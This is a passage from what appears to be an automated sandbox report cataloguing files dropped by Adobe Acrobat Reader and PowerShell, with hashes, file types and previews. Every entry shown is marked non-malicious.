SSDEEP:	6:YEQXJ2HXsntIjvJNpWOx+FIbRI6XVW7+0YqoHWEeoAvJfbPtdPeUkwRe9:YvXKXwUvJSOUYpW73TEVGDV8Ukee9
MD5:	527A49144D5C45DD85D25D1605AB9FE9
SHA1:	B937FA35DD57458F5D0662BD7BEA4A675A9B0244
SHA-256:	AD2F025DC3A83F8329C1BC0749C789E8063969210951A073D10A54E3DA665A41
SHA-512:	0DEFCC07966F5E84C7D7959F8AC8CB40AD2F405BBE07C5A2EE9CDDE38AE672D8B1E5235D412B9C59A2973D50D67A6F77C6ADE6F79497B17FD43231E541FD138E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"11a66bb7-869b-4c5c-8c17-7604471c01fd","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736711375822,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.259077203165799
Encrypted:	false
SSDEEP:	6:YEQXJ2HXsntIjvJNpWOx+FIbRI6XVW7+0YqoHWEeoAvJf21rPeUkwRe9:YvXKXwUvJSOUYpW73TEVG+16Ukee9
MD5:	2503DCF17B38301ECF9200CCB4D5C617
SHA1:	89A948F2BF6FE65C472EDC5900459F8BBDD308F0
SHA-256:	5D2EF900A25B25838A6B3912CD5F8F9076682040DE885A28920E1FC0BAA18B5F
SHA-512:	6414EA5AECA73549EEBF88AA3EC2D2DF88ECCD2A1E29DD9512123F10958CDD38F6422227F9C34C9A651352AB3855457F84BEBB2950DFEBA07AB0263542B1E16B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"11a66bb7-869b-4c5c-8c17-7604471c01fd","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736711375822,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.665417145299977
Encrypted:	false
SSDEEP:	24:Yv6XXvJS6ij5amXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSQ:YvUSVjFBgkDMUJUAh8cvMQ
MD5:	2FD1185112E234506AAF1EB6101A7153
SHA1:	F5F509F5EC9314FFC1321F58F5F59620EC6A6A51
SHA-256:	A2DDD0B4C7BE0A95781905048135361E6897C5A437AAA08DADA9D1F47D1A9E6E
SHA-512:	DE09D28FBEB01B7865757C5DCC1982A24428EF3926A48B108CC220360973DA4E22CBC715A2156E7EDD637AF131BAA0ADEE67A510B06F8C53E747A0BBB13B3EFD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"11a66bb7-869b-4c5c-8c17-7604471c01fd","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736711375822,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.234319826172219
Encrypted:	false
SSDEEP:	6:YEQXJ2HXsntIjvJNpWOx+FIbRI6XVW7+0YqoHWEeoAvJfshHHrPeUkwRe9:YvXKXwUvJSOUYpW73TEVGUUUkee9
MD5:	3DBC281D1062A376752F3FE5692DC957
SHA1:	68035FBEF938A2033759319E331C681A19384DE2
SHA-256:	8FB1118441A6D5688DBE5A14BBE34B24F9546A400D6396F87219391EF9CD6EEF
SHA-512:	5595F6C34DA02150A83278EB0E9B8849FF8809A17E2648F0F3C67028FCA748D75D72AA61FED48F70613410B636376BA3391B71548D2AD36B3C94E3B27C0419AF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"11a66bb7-869b-4c5c-8c17-7604471c01fd","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736711375822,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.24444796833808
Encrypted:	false
SSDEEP:	6:YEQXJ2HXsntIjvJNpWOx+FIbRI6XVW7+0YqoHWEeoAvJTqgFCrPeUkwRe9:YvXKXwUvJSOUYpW73TEVGTq16Ukee9
MD5:	97DCB67D1A88BEF0B7E74E7374FE5C55
SHA1:	2F21EC67E9F668F6E485D4F5E11C6FAF61189322
SHA-256:	53744039ADB4EC67D4BE80271A66F28FD0AD0E2EFB3572E4D925AC0390F802B0
SHA-512:	122B73EADEAEF3627592DD8CC4A24F466364C12611437C78DC12BAB5FDF50755AD791A61E6DF012B76975069B99AC9F89ED670A324D2A4A3A507CD04D3863E05
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"11a66bb7-869b-4c5c-8c17-7604471c01fd","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736711375822,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.13347801931688
Encrypted:	false
SSDEEP:	48:Yf0LCp4QGEn54BbtAFu2GU8hH/GSzvtZ9zs:dNQGE6Bb6APfGSz1XQ
MD5:	53560E9DB64F2A45285D97CE05726CE1
SHA1:	AFE92B5FF9CDC665F34DC636F9365ACF36963336
SHA-256:	188D3CF3A4E314D1F4FA08CE3341853F463B9CC8415C068B71B6F14E05468EB4
SHA-512:	B0A69F0695B900F86621C6BDAAB191B813CDD2E550939340D3949A38EE6DA0471D254352729F76F23D452D9CF67FEBFEC53B0EE442A8F441A3DE0B5C7FD5EA41
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"e389fc05d95613ca2dc5eec1e6825b00","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736537375000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"f3cba4e31e32816a46c2b6fe85c620d5","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736537375000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"d5b46f3fc0caaebcfd66a140977c4888","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736537375000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"75fb99feff2e4776ef4a000e38530bbf","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736537375000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"79358e8d49541642ec46f30f3b23446d","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736537375000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"8a263c8c79ed89f9debd22190e9bbd99","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 19, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 19
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.9860102889920417
Encrypted:	false
SSDEEP:	24:TLHRx/XYKQvGJF7urs6I1RZKHs/Ds/SpCS34zJwtNBwtNbRZ6bRZ4pS3F:TVl2GL7ms6ggOVpC9zutYtp6Poq
MD5:	602B3E1502F823BDF3931C9BE6AF4056
SHA1:	001E2DD7C6CB5C646E6D7DD8D46FE0E06216F522
SHA-256:	9B8493F262739858E70AE84DB3EC3593ACD1CEFA96F07FDC00D5F87E4EAD3045
SHA-512:	3B3B403FD41783217D59535F0CECFE8A3B926214380117F60958E7391E9CC4325BD3C838B372F4DDED828C653DE73B962B9FD3A96249B4C8C7044B983A791D2B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.3407023347360525
Encrypted:	false
SSDEEP:	24:7+t5RAD1RZKHs/Ds/SpCS3PzJwtNBwtNbRZ6bRZWf1RZKdqLBx/XYKQvGJF7ursK:7MHGgOVpCmzutYtp6PMYqll2GL7msK
MD5:	B87935D197DA256A84615591E14FD87D
SHA1:	26D80EDADB7686AC034B756EA47BDE38CC4A93A5
SHA-256:	83649279D5D7B49C6B1E9D5E7E6B868CD7F84BFA53C65E5148255150FCB9E42A
SHA-512:	D7F548A8D163017A840360757B83B1BBFD1B0615E63F49B06BC03D8C247553F130BFAC44482D0E99C3F19D3324AB7AF1B8F07C49285A1C56F99A832C2804C071
Malicious:	false
Preview:	.... .c.....>.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#.#.#.#.#.#.#.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgwPjSz7h2SkTKfFGA5xUAcaFjLYyu:6a6TZ44ADEMjSzttGA5xXxLK
MD5:	518214E4B505DF0E5A23D01E87E8B0AF
SHA1:	BD6E395E62458F312C9C6B348D0A9ADCE2256C3D
SHA-256:	77A8AAAF8561928F4273F9F86BEE9DA47D4DAF987DE890A73FF8B65BFE84D82C
SHA-512:	76639CAE96605F87F6A3E620E1ED4E40F6177A2C8435F3A778478F99507C2F6478384466B25D8976AC0161F51BF0EAB4906B840D051BE4728F8E84857059813A
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulDm0ll//Z:NllU6cl/
MD5:	DA1F22117B9766A1F0220503765A5BA5
SHA1:	D35597157EFE03AA1A88C1834DF8040B3DD3F3CB
SHA-256:	BD022BFCBE39B4DA088DDE302258AE375AAFD6BDA4C7B39A97D80C8F92981C69
SHA-512:	520FA7879AB2A00C86D9982BB057E7D5E243F7FC15A12BA1C823901DC582D2444C76534E955413B0310B9EBD043400907FD412B88927DAD07A1278D3B667E3D9
Malicious:	false
Preview:	@...e.................................R..............@..........

C:\Users\user\AppData\Local\Temp\MSI39b92.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.524398495091119
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClERe:Qw946cPbiOxDlbYnuRK+bD0
MD5:	FA40E7F5B20CA6C5E20830F75A4F0FB5
SHA1:	49A7967DCB9407F051CDE9DD8E1904E8FFAE52DB
SHA-256:	4B0ECB5EABFB954113137918AD7066293AA22D69520B984FB3F8DCAACE9D2DE3
SHA-512:	21553F9C6A0976DF3850632B2BF0B352A79BF71BE438D41B438E12709028028B9CB902925EFA9BC00DB17F1F398D278AA4E5F5792A0955A8257189C08A7F88E8
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.4.:.2.9.:.3.5. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2axtqnym.an1.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jepcm0zw.qzy.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 14-29-30-167.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.376360055978702
Encrypted:	false
SSDEEP:	384:6b1sdmfenwop+WP21h2RPjRNg7JjO2on6oU6CyuJw1oaNIIu9EMuJuF6MKK9g9JQ:vIn
MD5:	1336667A75083BF81E2632FABAA88B67
SHA1:	46E40800B27D95DAED0DBB830E0D0BA85C031D40
SHA-256:	F81B7C83E0B979F04D3763B4F88CD05BC8FBB2F441EBFAB75826793B869F75D1
SHA-512:	D039D8650CF7B149799D42C7415CBF94D4A0A4BF389B615EF7D1B427BC51727D3441AA37D8C178E7E7E89D69C95666EB14C31B56CDFBD3937E4581A31A69081A
Malicious:	false
Preview:	SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:961+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.326814247104837
Encrypted:	false
SSDEEP:	384:y+tst+lDbbID+8zBJpS4Gxe1mLPJcfIvHuYHbPldiPmsBgCmokWzCO+3Vctn1wkv:fq+CD
MD5:	069F7D94D1E9F2BFBEC7260DF0DF4B4E
SHA1:	8434A8699E3A1370B9C9ABB9DB5728B634D00AFB
SHA-256:	40569B0C0BEB00D094C25651C0AA38B4D28BF106040D5C6C3F2885C1D4AA483F
SHA-512:	8B62E78B198DD9DB652425D4E5A6D8E8C661F5DF6F9B31E8187CFDE8F2139E196A5309040B6AF0D54C1B64857FB2F137506A8CCCE4580360EB8FC94F4278D1A1
Malicious:	false
Preview:	SessionID=1821f14e-6810-4136-8036-8eef2a50e7b0.1736537370179 Timestamp=2025-01-10T14:29:30:179-0500 ThreadID=7584 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=1821f14e-6810-4136-8036-8eef2a50e7b0.1736537370179 Timestamp=2025-01-10T14:29:30:202-0500 ThreadID=7584 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=1821f14e-6810-4136-8036-8eef2a50e7b0.1736537370179 Timestamp=2025-01-10T14:29:30:202-0500 ThreadID=7584 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=1821f14e-6810-4136-8036-8eef2a50e7b0.1736537370179 Timestamp=2025-01-10T14:29:30:203-0500 ThreadID=7584 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=1821f14e-6810-4136-8036-8eef2a50e7b0.1736537370179 Timestamp=2025-01-10T14:29:30:203-0500 ThreadID=7584 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.394785707876968
Encrypted:	false
SSDEEP:	768:GLxxlyVUFcAzWL8VWL1ANSFld5YjMWLvJ8Uy++NSXl3WLd5WLrbhhVClkVMwDGbY:9+9
MD5:	68008D2FC0841F51CE655827F7800B2B
SHA1:	C4826A3DC624203B986B889348FBABCCAFCC6FC7
SHA-256:	C87FD5030D504BADCAA5D46513C519BF880BBF88A4B9A2AB43D69652444DED92
SHA-512:	A4C3DA1BC7CA17674A7AD5E6862C125BC753B82394011FA48B8C824BBF71170DA3D6F5C42E798CC43E3E7DB6320A368C0C07CD3E935E2ADF5A8F3CD0E7C236D4
Malicious:	false
Preview:	04-10-2023 02:39:31:.---2---..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : *************************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : ***********************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Starting NGL..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..04-10-2023 02:39:31:.Closing File..04-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\13e77938-50dd-4264-8c6a-ba9a4875ad24.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xbdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07+7oDWLaGZDwYIGNPJe:Jb3mlind9i4ufFXpAXkrfUs0rDWLaGZo
MD5:	9DE909C4C633E6829165A4F1E0FA55C1
SHA1:	2E5FA5D6C1FC57BB2BBBD36837BBEB363C650849
SHA-256:	8770BE5263FD11B1A805E381669C27C0E18DC265B6041D531454299C14D0C83D
SHA-512:	7AB5A4B1B23D21D14D275FAB5756193FDE3B5AC2FF8322EACF160D109E638D1A25CC723C463648252E023EF5B0E35BEB14989561EE4F9B37C124CBA3B82443D9
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\226cc24c-655d-450c-ab49-51daa2647a63.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/VRaWL07oXGZ4YIGNPJNdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:tRaWLxXGZ4ZGh3mlind9i4ufFXpAXkru
MD5:	41034A6B023B6BB9C723DA146E190954
SHA1:	22C95166FF8A1C4D2AAC25B75D804CEBAAA6ACF2
SHA-256:	52BB8B0CA62248721986D650004C11ACCB0C988B6FBA645D9B4E3557CA87A15D
SHA-512:	6F8CD54BBB750E32FEBD78895F433CCF0C553C56E6B7DDEA03E3EA36ED283084CF6EA6FA8999162999D184B0F04B6E6DAB7F6FC27648EE517F744D7E8DBC8AAD
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\8fae7652-3469-44df-adcb-1b7fff6a7336.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
